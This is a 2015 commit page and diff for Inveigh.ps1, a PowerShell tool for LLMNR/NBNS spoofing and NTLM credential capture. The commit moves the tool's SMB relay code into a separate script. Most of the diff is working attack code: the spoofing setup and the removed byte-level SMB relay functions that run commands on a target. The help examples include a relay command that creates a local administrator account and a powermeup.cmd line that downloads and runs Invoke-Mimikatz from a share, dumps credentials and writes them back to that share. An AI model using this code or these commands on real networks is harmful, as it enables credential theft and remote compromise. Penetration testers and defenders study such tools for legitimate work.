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authorKevin Robertson <robertsonk@gmail.com>2015-10-11 19:31:41 -0400
committerKevin Robertson <robertsonk@gmail.com>2015-10-11 19:31:41 -0400
commit8ab002602f672dddb91e27ff6bb7d5050771c688 (patch)
treee7d0a60aa86987a5040eb02dbadef2279aefdbfb /Inveigh.ps1
parentd8b913da072770436831f9ed9a6d648c885666f4 (diff)
downloadInveigh-8ab002602f672dddb91e27ff6bb7d5050771c688.tar.gz
Inveigh-8ab002602f672dddb91e27ff6bb7d5050771c688.zip
Moved SMB relay code to a dedicated script, also added psm1 and psd1 files.
The SMB relay code is now in Inveigh-Relay.ps1. The script can be used either through Invoke-Inveigh or as a standalone function.
Diffstat (limited to 'Inveigh.ps1')
-rw-r--r--Inveigh.ps11124
1 files changed, 236 insertions, 888 deletions
diff --git a/Inveigh.ps1 b/Inveigh.ps1
index d71fe4e..74dbd39 100644
--- a/Inveigh.ps1
+++ b/Inveigh.ps1
@@ -90,8 +90,8 @@ Set the run time duration in minutes.
Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
.EXAMPLE
-Import-Module;Invoke-Inveigh
-Import module and execute with all default settings.
+Import-Module .\Inveigh.psd1;Invoke-Inveigh
+Import full module and execute with all default settings.
.EXAMPLE
. ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10
@@ -118,7 +118,7 @@ Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net us
Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target.
.EXAMPLE
-Invoke-Inveigh -smbrelay y -smbrelaytarget 192.168.2.55 -smbrelaycommand "powershell \\192.168.2.50\temp$\powermeup.cmd"
+Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd"
Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system.
Powermeup.cmd contents used for this example:
powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1"
@@ -179,12 +179,12 @@ if ($invalid_parameter)
throw "$($invalid_parameter) is not a valid parameter."
}
-if(-not($IP))
+if(!$IP)
{
$IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
}
-if(-not($SpooferIP))
+if(!$SpooferIP)
{
$SpooferIP = $IP
}
@@ -202,7 +202,7 @@ if($SMBRelay -eq 'y')
}
}
-if(-not($OutputDir))
+if(!$OutputDir)
{
$output_directory = $PWD.Path
}
@@ -236,15 +236,14 @@ $inveigh.log_file_queue = New-Object System.Collections.ArrayList
$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList
$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList
$inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2"
-$inveigh.host = $host
$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList
-$inveigh.SMB_relay_active_step = 0
$inveigh.console_output = $false
$inveigh.console_input = $true
$inveigh.file_output = $false
$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt"
$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt"
$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt"
+$Inveigh.challenge = $Challenge
$inveigh.running = $true
if($StatusOutput -eq 'y')
@@ -288,203 +287,169 @@ else
}
# Write startup messages
-if($inveigh.status_output)
+$inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null
+$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null
+
+if($FileOutput -eq 'y')
{
- $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null
- $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null
+ "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append
+}
- if($FileOutput -eq 'y')
- {
- "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append
- }
+$inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null
+$inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null
- $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null
- $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null
+if($LLMNR -eq 'y')
+{
+ $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null
+ $LLMNR_response_message = "- spoofed response has been sent"
+}
+else
+{
+ $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null
+ $LLMNR_response_message = "- LLMNR spoofing is disabled"
+}
- if($LLMNR -eq 'y')
+if($NBNS -eq 'y')
+{
+ $NBNSTypes_output = $NBNSTypes -join ","
+
+ if($NBNSTypes.Count -eq 1)
{
- $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null
- $LLMNR_response_message = "- spoofed response has been sent"
+ $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null
}
else
{
- $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null
- $LLMNR_response_message = "- LLMNR spoofing is disabled"
+ $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null
}
-
- if($NBNS -eq 'y')
- {
- $NBNSTypes_output = $NBNSTypes -join ","
- if($NBNSTypes.Count -eq 1)
- {
- $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null
- }
- else
- {
- $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null
- }
-
- $NBNS_response_message = "- spoofed response has been sent"
- }
- else
- {
- $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null
- $NBNS_response_message = "- NBNS spoofing is disabled"
- }
+ $NBNS_response_message = "- spoofed response has been sent"
+}
+else
+{
+ $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null
+ $NBNS_response_message = "- NBNS spoofing is disabled"
+}
- if($Repeat -eq 'n')
- {
- $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null
- }
+if($Repeat -eq 'n')
+{
+ $inveigh.repeat = $false
+ $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null
+}
+else
+{
+ $inveigh.repeat = $true
+ $inveigh.IP_capture_list = @()
+}
- if($HTTP -eq 'y')
- {
- $inveigh.HTTP = $true
- $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null
- }
- else
- {
- $inveigh.HTTP = $false
- $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null
- }
+if($HTTP -eq 'y')
+{
+ $inveigh.HTTP = $true
+ $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null
+}
+else
+{
+ $inveigh.HTTP = $false
+ $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null
+}
- if($HTTPS -eq 'y')
+if($HTTPS -eq 'y')
+{
+ try
{
- try
- {
- $inveigh.HTTPS = $true
- $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
- $certificate_store.Open('ReadWrite')
- $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
- $certificate.Import($PWD.Path + "\inveigh.pfx")
- $certificate_store.Add($certificate)
- $certificate_store.Close()
- Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null
- $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null
- }
- catch
- {
- $certificate_store.Close()
- $HTTPS="N"
- $inveigh.HTTPS = $false
- $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null
- }
+ $inveigh.HTTPS = $true
+ $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
+ $certificate_store.Open('ReadWrite')
+ $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
+ $certificate.Import($PWD.Path + "\inveigh.pfx")
+ $certificate_store.Add($certificate)
+ $certificate_store.Close()
+ Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null
+ $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null
}
- else
+ catch
{
- $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null
+ $certificate_store.Close()
+ $HTTPS="N"
+ $inveigh.HTTPS = $false
+ $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null
}
+}
+else
+{
+ $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null
+}
- if($Challenge)
- {
- $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null
- }
+if($Challenge)
+{
+ $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null
+}
- if($SMB -eq 'y')
- {
- $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null
- }
- else
- {
- $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null
- }
+if($SMB -eq 'y')
+{
+ $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null
+}
+else
+{
+ $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null
+}
- if($MachineAccounts -eq 'n')
- {
- $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null
- }
+if($MachineAccounts -eq 'n')
+{
+ $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null
+}
- if($ForceWPADAuth -eq 'y')
- {
- $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null
- }
- else
- {
- $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null
- }
+if($ForceWPADAuth -eq 'y')
+{
+ $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null
+}
+else
+{
+ $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null
+}
- if($SMBRelay -eq 'y')
+if($ConsoleOutput -eq 'y')
+{
+ $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null
+ $inveigh.console_output = $true
+}
+else
+{
+ if($inveigh.tool -eq 1)
{
- $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null
- $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null
-
- if($SMBRelayUsernames.Count -gt 0)
- {
- $SMBRelayUsernames_output = $SMBRelayUsernames -join ","
-
- if($SMBRelayUsernames.Count -eq 1)
- {
- $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null
- }
- else
- {
- $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null
- }
- }
-
- if($SMBRelayAutodisable -eq 'y')
- {
- $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null
- }
- else
- {
- $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null
- }
-
- if($SMBRelayNetworkTimeout)
- {
- $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null
- }
-
- $inveigh.SMB_relay = $true
+ $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
}
else
{
- $inveigh.status_queue.add("SMB Relay Disabled")|Out-Null
- $inveigh.SMB_relay = $false
+ $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null
}
+}
- if($ConsoleOutput -eq 'y')
- {
- $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null
- $inveigh.console_output = $true
- }
- else
- {
- if($inveigh.tool -eq 1)
- {
- $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
- }
- else
- {
- $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null
- }
- }
+if($FileOutput -eq 'y')
+{
+ $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null
+ $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null
+ $inveigh.file_output = $true
+}
+else
+{
+ $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null
+}
- if($FileOutput -eq 'y')
- {
- $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null
- $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null
- $inveigh.file_output = $true
- }
- else
- {
- $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null
- }
+if($RunTime -eq 1)
+{
+ $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null
+}
+elseif($RunTime -gt 1)
+{
+ $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
+}
- if($RunTime -eq 1)
- {
- $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null
- }
- elseif($RunTime -gt 1)
- {
- $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
- }
+if($SMBRelay -eq 'n')
+{
if($ShowHelp -eq 'y')
{
- $inveigh.status_queue.add("Run Get-InveighHelp to show available cmdlets")|Out-Null
+ $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null
$inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null
if($inveigh.console_output)
@@ -492,37 +457,38 @@ if($inveigh.status_output)
$inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null
}
}
-
- while($inveigh.status_queue.Count -gt 0)
+ if($inveigh.status_output)
{
- if($inveigh.output_stream_only)
- {
- write-output($inveigh.status_queue[0] + $inveigh.newline)
- $inveigh.status_queue.RemoveRange(0,1)
- }
- else
+ while($inveigh.status_queue.Count -gt 0)
{
- switch ($inveigh.status_queue[0])
+ if($inveigh.output_stream_only)
{
- "Run Stop-Inveigh to stop Inveigh"
- {
- write-warning($inveigh.status_queue[0])
- $inveigh.status_queue.RemoveRange(0,1)
- }
- default
+ write-output($inveigh.status_queue[0] + $inveigh.newline)
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
+ else
+ {
+ switch ($inveigh.status_queue[0])
{
- write-output($inveigh.status_queue[0])
- $inveigh.status_queue.RemoveRange(0,1)
+ "Run Stop-Inveigh to stop Inveigh"
+ {
+ write-warning($inveigh.status_queue[0])
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
+ default
+ {
+ write-output($inveigh.status_queue[0])
+ $inveigh.status_queue.RemoveRange(0,1)
+ }
}
}
}
}
}
-
-$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
-$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
-$process_ID = $process_ID -replace "-00-00",""
-[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}
+else
+{
+ Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp
+}
# Begin ScriptBlocks
@@ -649,7 +615,7 @@ $SMB_NTLM_functions_scriptblock =
}
}
- if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n') -and ($source_IP -ne $IP))
+ if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat) -and ($source_IP -ne $IP))
{
$inveigh.IP_capture_list += $source_IP
}
@@ -658,497 +624,10 @@ $SMB_NTLM_functions_scriptblock =
}
}
-# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target
-$SMB_relay_challenge_scriptblock =
-{
- Function SMBRelayChallenge
- {
- param ($SMB_relay_socket,$HTTP_request_bytes)
-
- if ($SMB_relay_socket)
- {
- $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream()
- }
-
- $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024
- $i = 0
-
- :SMB_relay_challenge_loop while ($i -lt 2)
- {
- switch ($i)
- {
- 0 {
- [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
- + $inveigh.process_ID_bytes`
- + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)
- }
-
- 1 {
- $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32)
- $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22)
- $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2)
- $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
- $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34))
- $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
- $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45))
- $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
- $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104))
- $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
- $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- [array]::Reverse($SMB_netbios_length)
-
- [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
- + $SMB_netbios_length`
- + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
- + $inveigh.process_ID_bytes`
- + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
- + $SMB_blob_length`
- + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
- + $SMB_byte_count`
- + (0x60)`
- + $SMB_length_1`
- + (0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0)`
- + $SMB_length_2`
- + (0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a,0xa2)`
- + $SMB_length_3`
- + (0x04)`
- + $SMB_NTLMSSP_length`
- + $HTTP_request_bytes`
- + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00)
- }
- }
-
- $SMB_relay_challenge_stream.write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length)
- $SMB_relay_challenge_stream.Flush()
-
- if($SMBRelayNetworkTimeout)
- {
- $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
- $SMB_relay_challenge_stopwatch = [diagnostics.stopwatch]::StartNew()
-
- while(!$SMB_relay_challenge_stream.DataAvailable)
- {
- if($SMB_relay_challenge_stopwatch.elapsed -ge $SMB_relay_challenge_timeout)
- {
- $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- break SMB_relay_challenge_loop
- }
- }
- }
-
- $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length)
-
- $i++
- }
-
- return $SMB_relay_challenge_bytes
- }
-}
-
-# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target
-$SMB_relay_response_scriptblock =
-{
- Function SMBRelayResponse
- {
- param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID)
-
- $SMB_relay_response_bytes = New-Object System.Byte[] 1024
-
- if ($SMB_relay_socket)
- {
- $SMB_relay_response_stream = $SMB_relay_socket.GetStream()
- }
-
- $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244)
- $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248)
- $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252)
- $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256)
- $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16))
- $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
- $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27))
- $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
- $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86))
- $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
- $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- [array]::Reverse($SMB_netbios_length)
-
- $j = 0
-
- :SMB_relay_response_loop while ($j -lt 1)
- {
- [Byte[]] $SMB_relay_response_send = (0x00,0x00)`
- + $SMB_netbios_length`
- + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
- + $SMB_blob_length`
- + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
- + $SMB_byte_count`
- + (0xa1,0x82,0x01)`
- + $SMB_length_1`
- + (0x30,0x82,0x01)`
- + $SMB_length_2`
- + (0xa2,0x82,0x01)`
- + $SMB_length_3`
- + (0x04,0x82,0x01)`
- + $SMB_NTLMSSP_length`
- + $HTTP_request_bytes`
- + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00)
-
- $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length)
- $SMB_relay_response_stream.Flush()
-
- if($SMBRelayNetworkTimeout)
- {
- $SMB_relay_response_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
- $SMB_relay_response_stopwatch = [diagnostics.stopwatch]::StartNew()
-
- while(!$SMB_relay_response_stream.DataAvailable)
- {
- if($SMB_relay_response_stopwatch.elapsed -ge $SMB_relay_response_timeout)
- {
- $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")
- $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")])
- $inveigh.SMB_relay_active_step = 0
- $SMB_relay_socket.Close()
- break :SMB_relay_response_loop
- }
- }
- }
-
- $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length)
-
- $inveigh.SMB_relay_active_step = 2
-
- $j++
-
- }
- return $SMB_relay_response_bytes
- }
-}
-
-# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session
-$SMB_relay_execute_scriptblock =
-{
- Function SMBRelayExecute
- {
- param ($SMB_relay_socket,$SMB_user_ID)
-
- if ($SMB_relay_socket)
- {
- $SMB_relay_execute_stream = $SMB_relay_socket.GetStream()
- }
-
- $SMB_relay_execute_bytes = New-Object System.Byte[] 1024
-
- $SMB_service_random = [String]::Join("00-", (1..11 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
- $SMB_machine += '53-00-52-00-56-00-' + $SMB_service_random + '00-00-00'
- $SMB_service_name = $SMB_service_random + '00-00-00'
- $SMB_service_display = '49-00-56-00-53-00-52-00-56-00-' + $SMB_service_random + '00-00-00'
- [Byte[]]$SMB_machine_bytes = $SMB_machine.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- [Byte[]]$SMB_service_bytes = $SMB_service_name.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
- [Byte[]]$SMB_service_display_bytes = $SMB_service_display.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
-
- $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`""
- [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }
- $SMB_relay_command += '00-00'
- [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
-
- $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253)
- $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
-
- $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253 - 63)
- $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1]
-
- $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2)
-
- $k = 0
-
- :SMB_relay_execute_loop while ($k -lt 14)
- {
- switch ($k)
- {
-
- 0 {
- [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)`
- + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00)
- }
-
- 1 {
- [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
- + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)`
- + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00)
- }
-
- 2 {
- [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
- + $inveigh.process_ID_bytes`
- + $SMB_user_ID`
- + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)`
- + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
- + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)`
- + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00)
-
- $SMB_multiplex_id = (0x05)
- }
-
- 3 {
- [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest
- }
-
- 4 {
- [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x8f,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
- + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
